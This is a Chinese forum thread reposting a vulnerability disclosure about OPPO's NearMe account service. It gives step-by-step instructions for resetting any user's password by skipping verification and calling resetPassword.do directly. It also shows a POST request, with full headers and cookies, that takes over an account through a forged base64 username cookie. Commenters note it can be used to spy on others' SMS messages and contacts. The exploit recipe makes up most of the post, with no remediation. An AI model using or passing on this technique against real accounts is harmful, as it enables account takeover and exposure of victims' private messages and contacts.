OPPO手机同步密码随意修改，短信通讯录随意查看

土豆

我感觉本文很好。 学习了。

==========================================================================

使用密码找回功能，找到一个存在的用户。



然后提交找回申请，跳过选择找回方式。

直接访问 http://uc.nearme.com.cn/usercenter/resetPassword.do



输入新密码，提示修改成功

返回登录页登录



登录成功，随意查看信息，下面是两个账号的信息。








最后，文中作者又补充到。

其实不用按照上面的操作也可以直接修改密码。

[HTML] 纯文本查看 复制代码

Request URL:[url]http://uc.nearme.com.cn/usercenter/resetPassword.do[/url]

Request Method:POST

Status Code:200 OK

Request Headersview source

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding:gzip,deflate,sdch

Accept-Language:en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4

Connection:keep-alive

Content-Length:34

Content-Type:application/x-www-form-urlencoded

Cookie:JSESSIONID=aaay1gJXnU7768sxcR6iu; OPPOSID=a65fb58f34304ac8a8223bf332274f46; NEARME_USERNAME_COOKIE=ZmluZHg5MDc%3D

Host:uc.nearme.com.cn

Origin:[url]http://uc.nearme.com.cn[/url]

Referer:[url]http://uc.nearme.com.cn/usercenter/resetPassword.do[/url]

User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36

直接设置NEARME_USERNAME_COOKIE的值提交，该值为base64_encode编码


本文转载自 noob@乌云

Petrel

不错 原创 给力

土豆

Petrel 发表于 2013-12-25 19:54
不错 原创 给力

...  非原创。 我转载的。。你。。。。

Petrel

土豆 发表于 2013-12-25 20:28
...  非原创。 我转载的。。你。。。。

不好意思 我没看到 下面的

契约

好吧，看看了 这个可以偷窥别人

love

修复了吗？